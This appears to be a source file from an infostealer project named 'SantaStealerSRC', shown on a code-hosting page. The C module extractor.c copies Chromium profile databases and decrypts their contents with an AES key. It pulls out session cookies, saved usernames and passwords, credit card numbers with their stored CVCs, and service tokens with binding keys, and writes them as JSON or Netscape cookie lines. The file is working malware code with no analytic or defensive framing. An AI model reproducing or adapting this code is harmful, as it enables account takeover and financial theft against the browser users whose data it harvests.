Files
SantaStealerSRC/ChromiumDataDumper/decryptor/src/extractor.c
T
2026-08-27 11:22:14 -06:00

463 lines
15 KiB
C
Executable File

#include "extractor.h"
#include "handle_duplicator.h"
#include "crypto.h"
#include "utils.h"
#include "buffer.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct {
wchar_t** files;
size_t count;
size_t capacity;
} TempFileList;
static TempFileList* temp_files = NULL;
static void init_temp_files() {
if (!temp_files) {
temp_files = malloc(sizeof(TempFileList));
if (temp_files) {
temp_files->files = malloc(sizeof(wchar_t*) * 10);
temp_files->count = 0;
temp_files->capacity = 10;
}
}
}
static void add_temp_file(const wchar_t* path) {
if (!temp_files) return;
if (temp_files->count >= temp_files->capacity) {
size_t new_cap = temp_files->capacity * 2;
wchar_t** new_files = realloc(temp_files->files, sizeof(wchar_t*) * new_cap);
if (!new_files) return;
temp_files->files = new_files;
temp_files->capacity = new_cap;
}
temp_files->files[temp_files->count] = _wcsdup(path);
temp_files->count++;
}
void cleanup_temp_files() {
if (!temp_files) return;
for (size_t i = 0; i < temp_files->count; i++) {
DeleteFileW(temp_files->files[i]);
free(temp_files->files[i]);
}
free(temp_files->files);
free(temp_files);
temp_files = NULL;
}
static bool open_database(const wchar_t* db_path, sqlite3** db) {
char path_utf8[MAX_PATH_LEN * 3];
int converted = WideCharToMultiByte(CP_UTF8, 0, db_path, -1, path_utf8,
sizeof(path_utf8), NULL, NULL);
if (converted == 0) {
return false;
}
char uri_path[MAX_PATH_LEN * 3 + 20];
sprintf_s(uri_path, sizeof(uri_path), "file:%s?nolock=1", path_utf8);
for (char* p = uri_path; *p; p++) {
if (*p == '\\') *p = '/';
}
int rc = sqlite3_open_v2(uri_path, db,
SQLITE_OPEN_READONLY | SQLITE_OPEN_URI,
NULL);
if (rc != SQLITE_OK) {
if (*db) {
sqlite3_close(*db);
*db = NULL;
}
wchar_t temp_dir[MAX_PATH_LEN];
GetTempPathW(MAX_PATH_LEN, temp_dir);
wcscat_s(temp_dir, MAX_PATH_LEN, L"ChromiumDecryptor\\");
CreateDirectoryW(temp_dir, NULL);
wchar_t temp_file[MAX_PATH_LEN];
swprintf_s(temp_file, MAX_PATH_LEN, L"%s%llu.db", temp_dir, GetTickCount64());
if (!copy_locked_file(db_path, temp_file)) {
return false;
}
init_temp_files();
add_temp_file(temp_file);
WideCharToMultiByte(CP_UTF8, 0, temp_file, -1, path_utf8, sizeof(path_utf8), NULL, NULL);
sprintf_s(uri_path, sizeof(uri_path), "file:%s?nolock=1", path_utf8);
for (char* p = uri_path; *p; p++) {
if (*p == '\\') *p = '/';
}
rc = sqlite3_open_v2(uri_path, db, SQLITE_OPEN_READONLY | SQLITE_OPEN_URI, NULL);
if (rc != SQLITE_OK) {
if (*db) {
sqlite3_close(*db);
*db = NULL;
}
return false;
}
}
return true;
}
bool write_json_array(const wchar_t* file_path, StringArray* entries) {
if (!file_path || !entries) return false;
FILE* f = NULL;
if (_wfopen_s(&f, file_path, L"w") != 0 || !f) return false;
fprintf(f, "[\n");
for (size_t i = 0; i < entries->count; i++) {
fprintf(f, "%s", entries->items[i]);
if (i < entries->count - 1) {
fprintf(f, ",\n");
}
}
fprintf(f, "\n]\n");
fclose(f);
return true;
}
bool write_netscape_cookies(const wchar_t* file_path, StringArray* entries) {
if (!file_path || !entries) return false;
FILE* f = NULL;
if (_wfopen_s(&f, file_path, L"w") != 0 || !f) return false;
for (size_t i = 0; i < entries->count; i++) {
fprintf(f, "%s\n", entries->items[i]);
}
fclose(f);
return true;
}
StringArray* extract_cookies(const ExtractionContext* ctx) {
if (!ctx) return NULL;
wchar_t db_path[MAX_PATH_LEN];
swprintf_s(db_path, MAX_PATH_LEN, L"%s\\Network\\Cookies", ctx->profile_path);
if (GetFileAttributesW(db_path) == INVALID_FILE_ATTRIBUTES) {
return NULL;
}
sqlite3* db = NULL;
if (!open_database(db_path, &db)) {
return NULL;
}
StringArray* results = string_array_create(100);
if (!results) {
sqlite3_close(db);
return NULL;
}
const char* query =
"SELECT host_key, name, path, is_secure, expires_utc, encrypted_value FROM cookies;";
sqlite3_stmt* stmt = NULL;
if (sqlite3_prepare_v2(db, query, -1, &stmt, NULL) != SQLITE_OK) {
sqlite3_close(db);
string_array_destroy(results);
return NULL;
}
while (sqlite3_step(stmt) == SQLITE_ROW) {
const uint8_t* blob = sqlite3_column_blob(stmt, 5);
int blob_len = sqlite3_column_bytes(stmt, 5);
if (!blob) continue;
ByteBuffer* plain = decrypt_gcm(ctx->aes_key, ctx->key_len, blob, blob_len);
if (!plain || plain->size <= COOKIE_PLAINTEXT_HEADER_SIZE) {
buffer_destroy(plain);
continue;
}
const char* value = (const char*)(plain->data + COOKIE_PLAINTEXT_HEADER_SIZE);
size_t value_len = plain->size - COOKIE_PLAINTEXT_HEADER_SIZE;
char* value_str = malloc(value_len + 1);
if (!value_str) {
buffer_destroy(plain);
continue;
}
memcpy(value_str, value, value_len);
value_str[value_len] = '\0';
const char* host = (const char*)sqlite3_column_text(stmt, 0);
const char* name = (const char*)sqlite3_column_text(stmt, 1);
const char* path = (const char*)sqlite3_column_text(stmt, 2);
int is_secure = sqlite3_column_int(stmt, 3);
long long expires = sqlite3_column_int64(stmt, 4);
long long unix_expiry = (expires / 1000000LL) - 11644473600LL;
char netscape[MAX_JSON_LEN];
snprintf(netscape, sizeof(netscape),
"%s\t%s\t%s\t%s\t%lld\t%s\t%s",
host ? host : "",
(host && host[0] == '.') ? "TRUE" : "FALSE",
path ? path : "/",
is_secure ? "TRUE" : "FALSE",
unix_expiry,
name ? name : "",
value_str
);
string_array_add(results, netscape);
free(value_str);
buffer_destroy(plain);
}
sqlite3_finalize(stmt);
sqlite3_close(db);
return results;
}
StringArray* extract_passwords(const ExtractionContext* ctx) {
if (!ctx) return NULL;
wchar_t db_path[MAX_PATH_LEN];
swprintf_s(db_path, MAX_PATH_LEN, L"%s\\Login Data", ctx->profile_path);
sqlite3* db = NULL;
if (!open_database(db_path, &db)) return NULL;
StringArray* results = string_array_create(50);
const char* query = "SELECT origin_url, username_value, password_value FROM logins;";
sqlite3_stmt* stmt = NULL;
if (sqlite3_prepare_v2(db, query, -1, &stmt, NULL) != SQLITE_OK) {
sqlite3_close(db);
return results;
}
while (sqlite3_step(stmt) == SQLITE_ROW) {
const uint8_t* blob = sqlite3_column_blob(stmt, 2);
int blob_len = sqlite3_column_bytes(stmt, 2);
if (!blob) continue;
ByteBuffer* plain = decrypt_gcm(ctx->aes_key, ctx->key_len, blob, blob_len);
if (!plain) continue;
char* origin = escape_json_string((const char*)sqlite3_column_text(stmt, 0));
char* user = escape_json_string((const char*)sqlite3_column_text(stmt, 1));
char* pass_raw = malloc(plain->size + 1);
memcpy(pass_raw, plain->data, plain->size);
pass_raw[plain->size] = '\0';
char* pass_esc = escape_json_string(pass_raw);
char json[MAX_JSON_LEN];
snprintf(json, sizeof(json),
" {\"origin\":\"%s\",\"username\":\"%s\",\"password\":\"%s\"}",
origin, user, pass_esc);
string_array_add(results, json);
free(origin);
free(user);
free(pass_raw);
free(pass_esc);
buffer_destroy(plain);
}
sqlite3_finalize(stmt);
sqlite3_close(db);
return results;
}
typedef struct {
char* guid;
uint8_t* blob;
int blob_len;
} CvcEntry;
StringArray* extract_payments(const ExtractionContext* ctx) {
if (!ctx) return NULL;
wchar_t db_path[MAX_PATH_LEN];
swprintf_s(db_path, MAX_PATH_LEN, L"%s\\Web Data", ctx->profile_path);
sqlite3* db = NULL;
if (!open_database(db_path, &db)) return NULL;
CvcEntry* cvc_table = NULL;
int cvc_count = 0;
sqlite3_stmt* cvc_stmt = NULL;
if (sqlite3_prepare_v2(db, "SELECT guid, value_encrypted FROM local_stored_cvc;", -1, &cvc_stmt, NULL) == SQLITE_OK) {
while (sqlite3_step(cvc_stmt) == SQLITE_ROW) {
cvc_table = realloc(cvc_table, sizeof(CvcEntry) * (cvc_count + 1));
const char* guid = (const char*)sqlite3_column_text(cvc_stmt, 0);
const uint8_t* blob = sqlite3_column_blob(cvc_stmt, 1);
int len = sqlite3_column_bytes(cvc_stmt, 1);
cvc_table[cvc_count].guid = _strdup(guid);
cvc_table[cvc_count].blob = malloc(len);
memcpy(cvc_table[cvc_count].blob, blob, len);
cvc_table[cvc_count].blob_len = len;
cvc_count++;
}
sqlite3_finalize(cvc_stmt);
}
StringArray* results = string_array_create(10);
const char* query = "SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards;";
sqlite3_stmt* stmt = NULL;
if (sqlite3_prepare_v2(db, query, -1, &stmt, NULL) == SQLITE_OK) {
while (sqlite3_step(stmt) == SQLITE_ROW) {
const char* guid = (const char*)sqlite3_column_text(stmt, 0);
char card_num[256] = { 0 };
char cvc_val[16] = { 0 };
const uint8_t* card_blob = sqlite3_column_blob(stmt, 4);
int card_blob_len = sqlite3_column_bytes(stmt, 4);
if (card_blob) {
ByteBuffer* plain = decrypt_gcm(ctx->aes_key, ctx->key_len, card_blob, card_blob_len);
if (plain) {
snprintf(card_num, sizeof(card_num), "%.*s", (int)plain->size, plain->data);
buffer_destroy(plain);
}
}
for (int i = 0; i < cvc_count; i++) {
if (strcmp(guid, cvc_table[i].guid) == 0) {
ByteBuffer* plain_cvc = decrypt_gcm(ctx->aes_key, ctx->key_len, cvc_table[i].blob, cvc_table[i].blob_len);
if (plain_cvc) {
snprintf(cvc_val, sizeof(cvc_val), "%.*s", (int)plain_cvc->size, plain_cvc->data);
buffer_destroy(plain_cvc);
}
break;
}
}
char* name = escape_json_string((const char*)sqlite3_column_text(stmt, 1));
char* card_esc = escape_json_string(card_num);
char* cvc_esc = escape_json_string(cvc_val);
char json[MAX_JSON_LEN];
snprintf(json, sizeof(json),
" {\"name_on_card\":\"%s\",\"expiration_month\":%d,\"expiration_year\":%d,\"card_number\":\"%s\",\"cvc\":\"%s\"}",
name, sqlite3_column_int(stmt, 2), sqlite3_column_int(stmt, 3), card_esc, cvc_esc);
string_array_add(results, json);
free(name); free(card_esc); free(cvc_esc);
}
sqlite3_finalize(stmt);
}
for (int i = 0; i < cvc_count; i++) {
free(cvc_table[i].guid);
free(cvc_table[i].blob);
}
free(cvc_table);
sqlite3_close(db);
return results;
}
StringArray* extract_tokens(const ExtractionContext* ctx) {
if (!ctx) return NULL;
wchar_t db_path[MAX_PATH_LEN];
swprintf_s(db_path, MAX_PATH_LEN, L"%s\\Web Data", ctx->profile_path);
sqlite3* db = NULL;
if (!open_database(db_path, &db)) return NULL;
StringArray* results = string_array_create(20);
if (!results) {
sqlite3_close(db);
return NULL;
}
bool has_binding_key = true;
const char* query_with_key = "SELECT service, encrypted_token, binding_key FROM token_service;";
const char* query_without_key = "SELECT service, encrypted_token FROM token_service;";
sqlite3_stmt* stmt = NULL;
if (sqlite3_prepare_v2(db, query_with_key, -1, &stmt, NULL) != SQLITE_OK) {
has_binding_key = false;
if (sqlite3_prepare_v2(db, query_without_key, -1, &stmt, NULL) != SQLITE_OK) {
sqlite3_close(db);
string_array_destroy(results);
return NULL;
}
}
while (sqlite3_step(stmt) == SQLITE_ROW) {
const uint8_t* token_blob = sqlite3_column_blob(stmt, 1);
int token_len = sqlite3_column_bytes(stmt, 1);
if (!token_blob || token_len <= 0) continue;
ByteBuffer* plain_token = decrypt_gcm(ctx->aes_key, ctx->key_len,
token_blob, token_len);
if (!plain_token) continue;
char* token_str = malloc(plain_token->size + 1);
if (!token_str) {
buffer_destroy(plain_token);
continue;
}
memcpy(token_str, plain_token->data, plain_token->size);
token_str[plain_token->size] = '\0';
buffer_destroy(plain_token);
char binding_key_str[512] = {};
if (has_binding_key) {
const uint8_t* key_blob = sqlite3_column_blob(stmt, 2);
int key_len = sqlite3_column_bytes(stmt, 2);
if (key_blob && key_len > 0) {
ByteBuffer* plain_key = decrypt_gcm(ctx->aes_key, ctx->key_len, key_blob, key_len);
if (plain_key) {
snprintf(binding_key_str, sizeof(binding_key_str), "%.*s", (int)plain_key->size, plain_key->data);
buffer_destroy(plain_key);
}
}
}
char* service = escape_json_string((const char*)sqlite3_column_text(stmt, 0));
char* token_esc = escape_json_string(token_str);
char* binding_esc = escape_json_string(binding_key_str);
char json[MAX_JSON_LEN];
snprintf(json, sizeof(json), " {\"service\":\"%s\",\"token\":\"%s\",\"binding_key\":\"%s\"}", service, token_esc, binding_esc);
string_array_add(results, json);
free(service);
free(token_esc);
free(binding_esc);
free(token_str);
}
sqlite3_finalize(stmt);
sqlite3_close(db);
return results;
}